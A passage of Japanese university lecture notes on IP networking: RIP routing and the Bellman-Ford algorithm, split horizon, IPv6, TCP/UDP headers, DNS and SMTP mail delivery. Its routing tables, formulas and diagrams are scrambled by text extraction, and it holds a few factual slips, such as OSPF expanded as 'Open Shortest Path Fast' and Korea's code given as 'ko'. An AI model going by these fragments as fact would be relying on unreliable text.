路制御 (Exterior Gateway Protocol EGP) が行われ, 各 AS 内では AS 内部での経路制御 (Interior
Gateway Protocol IGP) が行われるという階層構造が実現されている.
各 AS の管理方針は経路制御に対して影響をおよぼす. 例えば, 一つの AS である SINET では「営利目
的のネットワーク利用は行わない」と定められているので, 営利目的の AS 相互のパケットを SINET を経
由させることはできない. このように, EGP では各 AS の管理方針をもそのプロトコルに反映させる必要
がある.
以下では IGP の一つの実現である RIP Version 2 に基づいた経路制御の方法を調べてみよう17 .
3.2.5.2.2.1
RIP 仮に, IP サブネット上にルータが１つしかない状況を考えてみよう. すなわち, IP サ
ブネットの外部への出口は１つしかない. この時には, サブネット外部への通信はすべてそのルータを経由
することで行われる. この場合, ルータはサブネット内部のホストすべてに対して, 「自分がサブネット外
部へのデフォールトの出口である」という内容のパケットを送出する. 経路制御情報を与えるプロトコル
を経路制御パケット (routing information packet) と呼び18 , このような, サブネット内のすべてのホス
16 正しくは NAT と IP マスカレードとは異なった方法で, NAT はネットワーク層での変換を行うのに対して, IP マスカレード
はトランスポート層での変換を行う.
17 このような「出口が一つしかない」ネットワークをスタブ (stub) と呼ぶ.
18 このプロトコルは, トランスポート層で定義され, 520/udp で定められる route と呼ぶプロトコルである. （トランスポート層
に関しては後に解説する.）
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
83
トに対して送出されるパケットをブロードキャスト (broadcast) パケット19 と呼ぶ. また, 「デフォール
トの出口」
（これをデフォールト・ルート (default route) と呼ぶ）を与えるルータをデフォールト・ルー
タ (default router) と呼ぶ.
一方, IP サブネット上に複数のルータがあるときには, どれか一つのルータがデフォールト・ルータと
なり, 他のルータは特定のサブネットへの経路をサブネットに対してアナウンスする.
いずれの場合にも, ルータからの経路制御パケットを集めることにより, デフォールト・ルートを含む,
経路の一覧を作ることができる. この一覧表を経路表 (routing table) と呼ぶ. したがって, IP サブネッ
ト内のホストはサブネット外部への通信を行う場合には, 経路表を参照することにより, 適切なルータへの
通信を行えば, 後の処理はルータが外側のサブネットの経路表にしたがってパケットを送出し, 最終目的ホ
ストまで届けることが出来る.
Example 3.2.8 経路制御の一例として, 下のようにサブネットが接続されていたとしよう.
201.15.32/24
201.15.32.254
130.5.86.254
130.5.84/22
133.6.130/24
133.6.130.254 133.6.84.254
130.5.87.254
131.18.1.254
133.6.120/24
131.18/16
133.6.120.254 131.18.2.254
131.18.255.254
ここで, 各楕円は IP サブネットを表し, 矢印のついた装置がルータであり, ルータの各インターフェース
にはサブネットに応じた IP アドレスが付けられている. （それ以外には各サブネットにはルータは存在し
ないとする.）この時, 各サブネットの経路表は以下の通りとなる.
133.6.130/24
default
133.6.130.254
201.15.32/24
default
201.15.32.254
130.5.84/22
default
133.6.130/24
130.5.87.254
130.5.84.254
default
133.5.84/22
131.18.255.254
131.2.1.254
201.15.32/24
130.5.86.254
133.5.84/22
133.6.120/24
131.18.255.254
131.2.254
133.6.130/24
201.15.32/24
131.18.255.254
131.18.255.254
133.6.120/24
default
131.18/16
133.6.120.254
この例は次の２つの事実を表している.
1. より広いネットワークに向かうルータがデフォールト・ルートをアナウンスする.
2. ネットワークが複雑化するにしたがって, 経路表が大きくなる.
19 より正しくは, IP プロトコルのブロードキャストなので, IP ブロードキャストと呼ばれ, 宛先の IP アドレスはホスト部がすべ
て 1 となっているアドレスが用いられる. すなわち, 133.6.130/24 でのブロードキャスト・パケットは, 133.6.130.255 を宛先に
持ち, このアドレスをブロードキャスト・アドレスと呼ぶ. また, ホスト部がすべて 0 になるアドレスをネットワーク・アドレスと
呼び, そのサブネット自身のアドレスと考える. したがって, クラスＣサブネットで本当にホストアドレスとして利用できるものは,
254 個となる.
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
84
3.2.5.2.2.2
RIP の問題点
RIP を用いた経路制御では, 上に述べたようにネットワークが複雑化する
にしたがって経路表が大きくなるという欠点を持つ. ここでは, 次の図のように接続されたネットワークの
間で RIP によって経路情報が交換されるという状況を考えてみよう.
A
1
B
1
1
C
A, B, C, D のそれぞれは一つのルータを表し, 図の
ようにルータによって接続されているとする. 相互
1
の接続のためのコストは全て等しいと仮定する. （接
D
続コストとは, ネットワーク相互の間の通信速度や,
相互接続の価格等によって決定される.）
はじめに, このネットワークの相互接続のための経路表を作成するための方法を考えてみよう. RIP で用
いられる経路決定アルゴリズムは Bellman-Ford アルゴリズムと呼ばれ, 各ネットワーク上で次のような
動作を行う.
1. 自分自身への距離を 0 に, 自分以外の全てへの距離を ∞ にセットする.
2. 自分がもつ全ての距離データを隣接する全てのルータに転送する20 .
3. 隣接するルータからの情報と自分自身の持つ情報から, 自分自身の情報を更新する. この時, 計算結
果の中から他への距離が最小となるように距離を決定する.
より詳しくは, 以下のようにして経路表を作成することができる.
アルゴリズム 3.2.9 (Bellman-Ford アルゴリズム) ルータ i0 において, 他のルータへの最小コストを決
(m)
定する. ここで, m 回目の反復演算における i0 から i への距離を bi
, Vi は, ルータ i と隣接する全て
のルータの集合, dij はルータ i, j の間の距離を表す.
(0)
(0)
ステップ１次のように初期化を行う. bi0 = 0, bi
= ∞, i = i0 .
(m)
ステップ２全ての i に対して, 以下の演算を行う. bi
(m)
ステップ３全ての i に対して bi
(m−1)
= bi
(m−1)
= minj∈Vi {bj
+ dji }.
ならば経路表が確定し, そうでなければステップ２を繰り
返す.
Example 3.2.10 上のネットワークにおいて, Bellman-Ford アルゴリズムを用いて経路表を決定する.
i0 = A, B, C, D に対して Bellman-Ford アルゴリズムを実行する必要がある. この時,
VA = {B},
VB = {A, C},
VC = {B, D},
VD = {B, C}
である.
【初期化】
ルータ A
宛先
距離
A
B
C
D
ルータ B
R
宛先
距離
0
∞
A
B
∞
∞
C
D
ルータ C
R
宛先
距離
∞
0
A
B
∞
∞
D
D
ルータ D
R
宛先
距離
∞
∞
A
B
∞
∞
0
∞
C
D
∞
0
R
20 このプロセスはブロードキャストを用いれば容易に実現できる.
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
85
１回目の経路表の交換が行われると, ルータ A では
(1)
(0)
(0)
(0)
bB = min {bj + dji } = min{bA + dAB , bC + dCA } = 1
j∈VB
となり, ルータ B では,
(1)
(0)
(0)
bA = min {bj + dji } = bB + dBA = 1,
j∈VA
(1)
(0)
(0)
(0)
(0)
(0)
(0)
bC = min {bj + dji } = min{bB + dBC , bD + dDC } = 1,
j∈VC
(1)
bD = min {bj + dji } = min{bB + dBD , bC + dCD } = 1,
j∈VD
と決定される.
【１回目】
ルータ A
宛先
距離
A
0
B
C
1
∞
ルータ B
R
B
D
∞
【２回目】
ルータ A
ルータ C
宛先
距離
R
宛先
距離
A
1
A
A
∞
B
C
0
1
C
B
D
1
0
D
1
D
D
1
ルータ B
R
宛先
距離
A
0
B
1
B
C
D
2
2
B
B
ルータ D
R
宛先
距離
A
∞
B
B
C
1
1
D
D
0
ルータ C
R
B
C
ルータ D
宛先
距離
R
宛先
距離
R
宛先
距離
R
A
1
A
A
2
B
A
2
B
B
0
B
1
B
B
1
B
C
D
1
1
D
D
0
1
1
0
C
D
C
D
C
D
したがって２回目で全ての経路表が確定する.
この例からも容易にわかるように, 最も遠いルータへの経路が確定するためには, そのルータまでのホップ
数（中間に入るルータの数）を n としたとき, n + 1 回の反復が必要となる. したがって, N 台のルータか
らなるネットワークで経路表が確定するためには, 最大 N − 1 回の反復計算が N 台のルータで行われ, １
台あたり１回の経路計算には N − 1 の計算時間が必要となる. よって, Bellman-Ford アルゴリズムで経路
が確定するためには, O(N 3 ) 回の計算が必要となる.
もし, ネットワーク上で障害により経路が遮断されてしまった場合には, 経路の再計算のための計算回数
が O(N 3 ) かかることとなり, また, その障害の伝達時間として O(N ) の時間がかかってしまう. この伝達
時間の遅れが原因となる例として, 以下の無限カウントの問題が生じる.
Example 3.2.11 次のような直列のネットワークを考察する.
A
B
C
この時, A, B の経路表は次のようになっている.
ルータ A
宛先
距離
A
0
B
C
1
2
ルータ B
R
B
B
宛先
距離
R
A
1
A
B
C
0
1
C
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
86
さて, ここで B と C の間の回線が切断されたとしよう. この時に B は C, D へ到達不可能という情報を
瞬時に得ることができる. この時点で B の経路表には, C, D への距離が ∞ と記録される. しかし, この
情報が A に伝達されるためには, この事故のあとの最初の B からの経路制御パケットが A に到達するま
での時間を待たなければならない. その間に A から B に対して送信される経路表には C への距離が 2 と
記録されているため, この経路制御パケットを受取った B の経路表には, C への経路が A を経由すると記
録され, さらにその経路データは A とも交換されるため, 以下のような遷移をたどることとなる.
ルータ B
A からの経路表を B
が受取った.
ルータ A
宛先
距離
R
A
B
1
0
A
C
3
A
この B の経路表を
A が受取った.
宛先
距離
R
A
B
0
1
B
C
4
A
ルータ B
この A の経路表を
B が受取った.
宛先
距離
R
A
1
A
B
C
0
5
B
このような無限カウントを問題を避けるためには, ルータ A が B から受取った情報は再び B には返さな
い, すなわち, 各ルータが学習 (larning) した情報の発信元には, 学習内容を返さないという方法が有効に
働く. これをスプリットホライズン (split horizon) と呼ぶ.
3.2.5.2.3
その他の経路制御
上のような RIP による経路制御は, ごく小さなネットワーク内では有効に
機能する場合があるが, 大規模ネットワークでは伝達遅延などの影響が無視できなくなるため, ネットワー
ク内の全てのリンク情報を伝達する経路制御アルゴリズムを用いることが多い. そのような IGP の代表例
としては OSPF (Open Shortest Path Fast) と呼ばれるプロトコルが存在する.
また, AS 間の経路制御には, AS の経路制御ポリシを含めた, RIP, OSPF とは異ったプロトコルが用い
られている. しかし, たとえ EGP を利用しても, 経路制御情報を伝達すること自身に莫大なコストがかか
ることとなり, 海外線の接続点やバックボーンの接続点では, 大量の経路制御情報を交換しなければならな
い欠点を持つため, 複数の AS を１箇所で接続するという IX (Internet Exchange) を設置したり, 世界
的にみたとき, IP アドレスの割り当ては地域ごとの割り当てを行って, 海外線の接続点での経路制御が容
易になるようにするなどの工夫が行われている.
また, ネットワークに接続されたホストの設定ミスにより, 正規のルータ以外のホストが経路制御パケッ
トを送出すると, サブネット内だけではなく, その経路制御が伝達され, 外部のネットワークにも間違った経
路情報が流れることになる. したがって, ネットワークに (UNIX) ホストを接続する場合には, 正規のルー
タでない限り, 決して経路制御バケットを送出してはならない. これは, ネットワークを利用する際に, 技
術的に最も気をつけなければならないことの一つである21 .
3.2.5.2.4
パーソナル・コンピュータに対する経路制御
Windows や MacOS （MacOS 9 以前）など
のパーソナル・コンピュータの OS では, このような経路制御のためのプロトコルを受信して, 経路表を
作成する機能を持っていない. そのため, Windows や MacOS でネットワーク設定を行う場合に, default
gateway とか, default router などを明示的に指定しなければならない. このような項目には, default
の経路をアナウンスするルータの IP アドレスを指定すれば良い.
21 最近有名になった Linux の slackware ディストリビューションの初期の頃には, デフォールト・インストールの状態が, 経路制
御パケット（しかもデフォールトの経路）をアナウンスするようになっていた. そのため, 名古屋大学のネットワークが混乱するとい
う事件が何度も発生していた.
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
3.2.5.2.5
IPv6
87
これまでの IP アドレス体系では, 232 個の IP アドレスしか割り当てることが出来な
いため, IPv6 と呼ばれる, 次世代の IP アドレス体系が開発されている. 現在では, RFC 1884 に基づく
IPv6 アドレス・モデルと呼ばれる, 次世代 IP アドレスの体系が定義され, 一部の UNIX では IPv6 の実
装が可能になり, バックボーン上で IPv6 の実験が始まっている.
IPv6 は 128 ビット長のアドレス体系を持ち, ４桁の１６進数（１６ビット） “:” で区切って８個並べる.
xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx
IPv6 では,
0:0:0:0:0:0:226.95.20.128
というように, 現在の IPv4 を包括するアドレス体系であり, 単に IP アドレスを増やすだけではなく, IPv6
プロトコル規格の中には, 通信路の暗号化を行うための規格や, より信頼性の高い通信を行うための規格が
含まれている.
3.2.5.3
IP プロトコルのトランスポート層
IP プロトコルのトランスポート層プロトコルは, TCP (Transmission Control Protocol), UDP (User
Datagram Protocol) に分けれらる.
3.2.5.3.1 TCP TCP プロトコルは電子メールの送受信, HTTP （ウェブ・ページ）, telnet, ftp など,
我々が日常的に利用するネットワークサービスで利用される, コネクション型のプロトコルである. TCP
プロトコルには, ポート番号 (port number) と呼ばれる概念があり, 電子メールの送受信に使うポートは
２５番と言ったように, それぞれのポートに対して, それを利用する上位プロトコルが対応している. TCP
の XXXX 番ポートを使うプロトコルを XXXX/tcp 等と書く.
TCP プロトコルの通信では, パケットに一連の番号が付けられるため, ネットワークの障害などにより,
データが欠落した場合には, 送信側にデータの再送信を要求することが行われる. そのため, 通信の信頼性
が高くなるが, 一方では処理の負荷が高くなるという欠点を持つ.
3.2.5.3.2
UDP
UDP プロトコルはデータを低い負荷で送受信したい場合に利用されるプロトコルで
あり, コネクションレス型の通信路を形成する. UDP プロトコルにもポート番号の概念があり, UDP の
XXXX 番ポートを使うプロトコルを XXXX/udp 等と書く.
UDP ではパケットには順序を示すデータが含まれないため, ネットワーク障害などによるデータの欠落
に対する処理は, 各ネットワークサービスを行うアプリケーション側で責任を持つ必要がある. そのため,
比較的小さなデータで済むような通信で用いられることが多い22 .
3.2.5.3.3
ポート番号
TCP, UDP で利用されるポート番号とはどんな意味があるのだろうか. ＯＳの
ネットワークインターフェース（正しくは, ネットワークプロトコルスタック (network protocol stack)
と呼ばれる）は, 模式的には荷物の配送センタと考えてもよい. 事実, 「パケット」という言葉は「小包」
という意味であり, パケットの「プロトコルヘッダ」は「小包の荷札」, 「ペイロード」は「小包の中身」
と考えることができる.
このようなモデル化の下では, ネットワークレイヤの各階層は荷物の集配の方法を定めていると考える
ことができ, 「物理層」は, 配送に自動車を使うか, 鉄道を使うかといった「配送の手段」と見なすことが
22 データが小さければ,
パケットが分割されることが少なくなり, 受信側でのデータの再構成が容易になる.
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
88
できる. さらに, ネットワークレイヤを上にたどるごとに, 各層ごとの配送センタがあり, そこでは対応し
た層の「荷札」のみを参照して, 宛先に応じた配送手段と配送経路を決定することとなる.
この時, TCP, UDP のポート番号は, TCP や UDP を使う各種のネットワークサービスの荷物の受取り
口と考えることができる. すなわち, TCP パケットや UDP パケットを扱う配送センタには, TCP, UDP
ごとに番号（ポート番号）が付けられた配送の窓口があり, 指定の番号をもつパケットのみの配送を行って
いると考えればよい. 逆に言えば, TCP パケット, UDP パケットを扱うためには, 発信元のポート番号と
宛先ポート番号を明示しないとパケットの配送とその返信を受取ることができない.
3.2.5.4
IP プロトコルスタックのまとめ
IP プロトコルスタックの解説の最後に, IP プロトコルスタックでのパケットの構造を見ておこう. パ
ケットの構造を見ることにより, IP プロトコルスタックの動作の仕組みを理解することができる.
3.2.5.4.1 カプセル化前にも述べた通り, ネットワークパケットは, ネットワークレイヤを下にたどる
たびにヘッダが付け加えられ, 上位層のヘッダと上位層でのペイロード全体を, その層でのペイロードとみ
なすというカプセル化が行われる. 実際には, その層でのヘッダ（レイヤヘッダ (layer header)）は全て
の層で付けられるわけではない. 多くの TCP/IP アプリケーションでは, 下の図のようにヘッダが付け加
えられていく.
アプリケーション層
データ
（プレゼンテーション層）
（セッショント層）
トランスポート層
ヘッダ
ネットワーク層
データリンク層
ヘッダ
ヘッダ
ペイロード
ペイロード
ペイロード
物理層
アプリケーション層のデータ, すなわちネットワークサービスのアプリケーションデータは, 物理層でのパケット長
が伝送路の最大パケット長23 から決まるデータ長に分割される. これをフラグメンテーション (flagmentation)
と呼ぶ.
3.2.5.4.2 イーサネットヘッダ IP プロトコルスタックで用いられるデータリンク層のデータグラム
(datagram) は, 物理層の方式に深く依存している. この意味では, データリンクヘッダは物理層とデータ
リンク層のヘッダと考えることもできる24 . いずれの場合にも, ４８ビット（＝６バイト）の発信元アドレ
スと４８ビット（＝６バイト）の送信先アドレスが含まれる. ここでのアドレスはデータリンク層のアド
レスである MAC アドレスが用いられる. これらのアドレス表記の後に, プロトコル種別（IP であるか, 他
のプロトコルであるか）や, パケット長などのデータがヘッダに含まれる.
23 イーサネットの場合には, 伝送路上で許されるネットワーク層での最大パケット長を MTU (maximux transformation
unit) とよぶ. したがって, MTU はデータリンク層のパケット長からデータリンクヘッダの長さを引いたものとなる.
24 厳密には, データリンク層が MAC (Media Access Control) 副層と, LCC (Logical Connection Control) 副層に分けれれ, そ
れぞれにヘッダが定義される.
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
3.2.5.4.3
IPv4 ヘッダ
89
IP プロトコルスタックで用いられるネットワーク層のデータグラムは, IP デー
タグラム (IP detagram) と呼ばれ, 現在は IPv4 が用いられていることは前に nobet/a . ここでは, IPv4
のヘッダ構造を簡単に見てみよう. IPv4 ヘッダは下の図のような構造をもつ
0
7
[ver]
15
[hl]
[id]
[ttl]
[tos]
[f]
[prot]
[source address]
[destnation address]
[option + padding]
23
[len]
[foff]
[csum]
31
• IPv4 ヘッダは「２０バイト（＝１６０ビット）＋ IP オプション長」の長さを持つ.
• 全体のヘッダ長はバイト単位の長さが [hl] に格納される. 上位層のプロトコルの分
類番号が [prot] に格納され, [prot] を参照することで, どの上位層に遷移すれば良
いかがわかる. TCP の場合には 6, UDP の場合には 17, ICMP の場合には 1 が
入る. IPv4 上位層のプロトコル番号は RFC 1700 で規定されている.
• IPv4 データグラムでのアドレス体系は IPv4 であるので, [source address], [destination address] には IPv4 アドレスが格納される.
3.2.5.4.4 TCP/UDP ヘッダ
のようになっている.
0
トランスポート層のプロトコルである TCP プロトコルのヘッダは以下
7
[source port]
15
23
[destination port]
[sequence number]
[acknowledgemnt number]
[R]
[window]
[urgent]
[csum]
[option + padding]
31
• TCP ヘッダでは始点ポート・終点ポート番号がアドレスの役割を果たしている.
• TCP ではシーケンス番号と確認応答番号を用いて, データの到達性を保証してい
る. また, [window] の前６ビットを用いて, TCP 接続の状態を制御している.
一方, UDP プロトコルのヘッダは以下のようになっている.
0
7
[source port]
[length]
15
23
[destination port]
[csum]
31
• UDP ヘッダでは始点ポート・終点ポート番号がアドレスの役割を果たしている.
• UDP にはデータの信頼性を保証する内容は「チェックサム」以外には存在してい
ない.
このように, UDP は TCP と比較すると極めて簡素なもので, IP 層程度の信頼性をもつデータの交換のた
めに考え出されたものである.
3.3
IP による各種のネットワーク・サービス
IP プロトコルは「インターネット」で利用可能な唯一のネットワーク層プロトコルであり, 我々が「イ
ンターネット」で利用する様々なネットワーク・サービスは TCP/UDP プロトコルを利用することにより
実現されている. ここでは, それらのプロトコルの代表的なものの概要を解説しよう.
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
90
3.3.1
DNS
「インターネット」に接続されたホストは, IP アドレスを用いて一意に識別することが出来るが, IP ア
ドレスは数字の羅列であるので, コンピュータで処理することは易しいが, ユーザが接続先を指定する際に
IP アドレスだけを用いることは困難である. そのため, 人間がわかりやすい方法を用いてホストを一意に
識別する方法として提供されるものが, ドメイン名 (domain name) と呼ばれるものである.
3.3.1.1
ドメイン
電子メール, telnet, ftp, http などのアプリケーションで利用できるような, 階層的な名前空間を分散管
理によって導入したものが DNS (Domain Name System) である. DNS の基本仕様は RFC 1034, RFC
1035 によって定められている. ここで導入される名前空間の元をドメイン (domain) （またはドメイン
名）と呼ぶ.
Example 3.3.1 名古屋大学を表すドメイン名は nagoya-u.ac.jp である. 名古屋大学多元数理科学研究
科を表すドメイン名は math.nagoya-u.ac.jp である.
ドメイン名は “.” によって分割された階層構造を持ち, 右に行くほど上位に属する. 当初, 最上位ドメインは,
gov (Goverment), arpa (ARPA-Internet host), com (Commercial), edu (Education), org (Organization),
mil (Military) などの, 組織の形態を表すものと, ISO の国別コードにしたがった２文字の国別コード (ISO3166: Codes for the Representation of Names of Counties) （たとえば, 日本は jp, 英国は uk, 韓国は ko
など）の２種類に分類されていた. （現在でも最上位ドメインは, 多少の追加があったが, 基本的にはこの
形を踏襲している.）２番め以後のドメイン名は, それぞれのドメインを管理する組織に, それ以下の段階の
ドメイン名を割り当てる権限を委譲することにより, 階層的にドメイン名を与える方法をとっている. （jp
ドメインに関しては, JPNIC （日本ネットワークインフォメーションセンター）によって管理されている.）
なお, アメリカに関しては国別コードを利用せず, ３文字の最上位ドメインを利用することが多い.
3.3.1.1.1 jp ドメイン jp ドメインに関しては, 第２階層のドメイン名として, 当初は ac （学術研究機
関）, co （商業組織）, or （団体）等に分け, それぞれのドメインに該当するそれぞれの組織に対して第
３階層のドメイン名を割り当ててきた. 現在では, jp ドメインの第２階層は以下のように割り当てられて
いる.
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
91
大学などの高等教育機関,
ac ドメイン
ad ドメイン
学校法人等.
JPNIC に直接関連する組
織, JPNIC がネットワーク
co ドメイン
日本で登記されている法人
ed ドメイン
運営上必要と認めた組織.
小学校, 中学校, 高等学校,
go ドメイン
組織.
日本の政府機関, 特殊法人
gr ドメイン
各種学校など.
任意団体
ne ドメイン
など.
日本国内のネットワーク
or ドメイン
サービス提供者.
法人であり, 他のドメイン
に該当しないもの. 例えば,
社団法人, 財団法人など.
組織または個人が登録できるドメイン名で, 登録者の住所に応じて
地域型ドメイン
決まる. たとえば, 千葉県成田市に在住する個人が登録できるのは,
XXXX.narita.chiba.jp となる. また, 地方公共団体もこの形式でド
汎用 jp ドメイン
3.3.1.1.2
サブドメイン
メインを利用する.
XXXXX.jp の形式のドメイン名で, 第２階層の区別はない. ２００１年
２月に登録が始まった.
サブドメイン (subdomain) とは, それぞれのドメイン階層の下の階層構造を
さすが, 通常は, 組織内で, 組織に割り当てられたドメイン名の下の階層構造を指す.
Example 3.3.2 math.nagoya-u.ac.jp は nagoya-u.ac.jp のサブドメイン.
サブドメインを割り当てる権限は, そのドメイン名を管理する組織にある. すなわち, 名古屋大学内では,
XXXX.nagoya-u.ac.jp を割り当てる権限は, 名古屋大学にあり, 名古屋大学内でサブドメインを適切に管
理する必要がある.
3.3.1.1.3
FQDN
FQDN (Fully Quarified Domain Name) とは, ドメイン名の階層構造を利用して,
「インターネット」上にあるホストを一意的に指定する名前のことである. FQDN は, そのホストの属する
ドメイン名の最下位階層としてホスト名を割り当てることにより決まる.
Example 3.3.3 math.nagoya-u.ac.jp にある rabbit というホストの FQDN は,
rabbit.math.nagoya-u.ac.jp となる.
3.3.1.2
DNS の仕組み
DNS は FQDN に対して IP アドレスを与える仕組みのことを指す. FQDN から IP アドレスを答える
ソフトウェアのことを指す言葉でもあり, そのソフトウェアをネームサーバ (name server) という. ま
た, そのネームサーバが動作しているホストを DNS サーバと呼び, DNS の問い合わせ (DNS query) は
53/tcp および 53/udp を利用する. したがって, 我々が FQDN から IP アドレスを知るためには, 手近の
DNS サーバに問い合わせをすれば良い.
3.3.1.2.1 DNS 問い合わせの流れ通常 DNS サーバは, サーバが属する組織の FQDN と IP アドレ
スの対応表（A レコードという）をもち, 世界中からのその組織の FQDN の問い合わせに回答する. DNS
名前空間がツリー状に管理されているので, DNS の問い合わせもツリー状に管理され, 上位ドメインに属
するホストの FQDN の問い合わせは, 上位ドメインの DNS サーバに対して行われる.
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
92
“.”
hhhh
hhhh
hh
jp
"`````
"
```
"
ac
XXX
XXX
%
%
X
co
@
@
apple
ibm
tohoku
nagoya-u
PP
#b
P
B
# B bb PP
math phys chem bio eps math
この図はドメイン名の階層の構成図でもあるが, 一
edu 方では, DNS 問い合わせの流れも表している.
例えば,
math.nagoya-u.ac.jp
から
www.apple.co.jp の IP アドレスを DNS に
問いあわせたとき, この図を上にたどり, jp ド
メインのネームサーバまで上り, co.jp のネーム
サーバから apple.co.jp のネームサーバを探し,
apple.co.jp のネームサーバに問い合わせを行う.
実際には, いちいちこのようなツリーをたどると, 大
変なトラッフィクが発生するので, それぞれのネー
ムサーバで情報を蓄積（キャッシュ）することで, ト
ラフィックの増大を防いでいる.
3.3.1.2.2 DNS の正引きと逆引き DNS の持つ機能の代表的なものとして, FQDN から IP アドレス
を求めることがあるが, これは「Ａレコードの正引き」と呼ばれるものである. この他に, IP アドレスから
FQDN を求める「逆引き」機能や, ホストに別名を与える「ＣＮＡＭＥレコード」機能を持つ.
Example 3.3.4 我々は www.math.nagoya-u.ac.jp とか www.apple.co.jp 等と言った FQDN を利用す
ることが多いが, これは, そのドメインに www というホスト名を持つホストがあるのではなく, WWW サー
バの機能を持つホストに www という別名 (aliase) を与えていることが多い. この別名を与える DNS のデー
タを CNAME という. もし, WWW サーバを他のホストに変更しても, CNAME フィールドだけを変更すれ
ば良いので, 設定変更などが単純になるため, 特定の機能を持つホストを表す FQDN は CNAME を用いるこ
とが多い25 . 実際, www.math.nagoya-u.ac.jp は（２００１年３月現在） rabbit.math.nagoya-u.ac.jp
の別名である.
3.3.1.2.3 ドメイン名と IP アドレスの関係一見ドメイン名は IP サブネットと深く関わっているよう
に思えるのであるが, 実は両者はほとんど26 無関係に近い. ドメイン名を管理するシステムは DNS であり,
特定のドメインに含まれるホストのリストは, そのドメインのネームサーバのＡレコードとして記述され
る. Ａレコードは,
wambat
IN
A
133.6.130.1
rabbit
IN
A
133.6.130.5
と記述され, これが math.nagoya-u.ac.jp の各ホストの FQDN に対応する IP アドレスになっているた
め, Ａレコードに書く IP アドレスはサブネット構成とは無関係に記述できる. したがって, １台のホスト
を複数のドメインに属すように設定27 することも可能である.
3.3.1.3
ドメイン名紛争
最近新聞などで「ドメイン名に関する訴訟」などを見掛けることが多い. これは, XXXX.com や YYYY.co.jp
などの XXXX や YYYY の部分の所有権に関する紛争であり, ウェブが営利企業などの広告に重要な役割を果
たし, 誰もが, 「わかりやすいドメイン名」や「企業名に直結したドメイン名」の利用を望むようになった
ことに由来する.
25 それどころか, CNAME に複数のホストを割り当て, WWW のアクセスの負荷分散を行うラウンドロビン (round robin) 等
も, 大規模なウェブサイトでは実施されている.
26 正引きは IP サブネットとは無関係だが, 逆引きにはちょっとした問題があり, ここが一番面倒なところである.
27 これは, 異なったドメインのネームサーバに, 同一の IP アドレスをＡレコードとして設定すれば良い.
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
93
例えば, co.jp ドメインは１法人に対して１ドメインしか割り当てないという規則があったが, そのドメ
イン名は申請者が自由に選択することが出来た. そのため, 重複しない範囲でどのようなドメイン名も設
定できたため, 有名企業の名前をドメイン名として申請して, その企業がドメイン名を申請しようとしたと
きに, その優先権を主張したという事件もある.
また, com ドメインなどは申請者の資格に関する条項は何も存在しないので, 有名人（nakata.com など）
の名前を先にドメイン名として取得して, その後, その人に高額で取得を迫る等と言った事件は後を絶たな
い. これらは, 「インターネット」の重要性を以前から認識していた人たちには予期できたことであるが,
この問題は, これらの行為を悪意を持って行っていることであり, 現在の日本国内の判例のように, 「大企
業が常に占有権がある」という考え方は, 「インターネット」は個人も大企業も同等の立場で運用されてい
るという点や, 無名の多くの個人の努力で構築されてきたという歴史を無視したものであるとも考えるこ
とができることに注意しよう.
２００１年２月から登録の始まった「汎用 jp ドメイン」では, その取得条件に制限がついていない. さ
らに, 「汎用 jp ドメイン」では, 「多国語ドメイン名28 」も利用されるため, 今後このような「ドメイン名
紛争」は増えていくだろう.
3.3.2
電子メール
我々がネットワークサービスの中で最も良く利用するものの一つである, 電子メール (electronic mail)
がどのようにやり取りされているかを考えてみよう.
電子メールの送受信のために規定されているプロトコルは smtp (Simple Mail Transfer Protocol) 25/tcp
と言われるもので, RFC 812, RFC 1123 などで規定されている. ここでは, 電子メールの送受信の手順を
見ることにより, 電子メールとはどのようなものかを見ていこう.
3.3.2.1
電子メールの送受信の手順
我々が電子メールを送信する際には, 以下のものをメーラ (mailer) で作成する.
• 電子メールの宛先のアドレス (destination address). これには以下のものが含まれる.
– 電子メールの宛先を表す to,
– 電子メールのコピーを送信する宛先を表す cc,
– 電子メールのコピーを送信するが, ヘッダには表示されないする宛先を表す bcc.
• メールの発信者のアドレス（from で表される）.
• メールの “Subject”,
• メールの本文 (mail body).
メールを作成するメーラ・ソフトウェアを MUA (Mail User Agent) と呼ぶ. MUA で作成したメールは,
本文と残りの部分（本文の前に付けられるため, メール・ヘッダ (mail header) と呼ばれる）に分けられ,
メールの送信を受けもつソフトウェアに渡される. メールの送信を受け持つソフトウェアを MTA (Mail
Transfer Agent) と呼び, sendmail, qmail 等が代表的なものである. MUA から MTA に渡される際には,
メール・ヘッダとメール本文は１行の空行で分割された, 一つのテキストファイルとして渡される.
28 日本語を含む非アスキー文字を許したドメイン名. 元々の DNS は 0-9, A-Z, - のみを利用し, 大文字と小文字を区別しない. 非
アスキー文字を含むドメイン名は, DNS により解釈可能な文字列に変換され検索が行われる.
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
94
MTA は宛先アドレスに記載された内容にしたがって29 , メールの送信先を決定し, 送信先の MTA と
smtp プロトコルで通信を行い, メールを配信する.
メールの送信
送信先の決定
メールの送信
envelope from の決定
スプールへの保存
メールの作成
envelope to の決定
MUA
- MTA
To: [email protected]
From: [email protected]
Hello
または次の MTA へ転送
smtp
Received: from XXXX
To: [email protected]
From: [email protected]
Date: [email protected]
Hello
- MTA
Received: from YYYY
Received: from XXXX
To: [email protected]
From: [email protected]
Date: [email protected]
Hello
MTA を経由するたびに Received ヘッダが付加されてい
く. MTA は envelope to を元に DNS のＭＸレコードを利
用して送信先を決定する.
メールを受信した MTA は, そのメールが自身のホスト宛であるかどうかを判断し, 自身のホスト宛であれ
ば, そのメールを宛先ユーザのメール・スプール (mail spool) に保存し, そうでなければ, 適切な他のホ
ストに転送を行う.
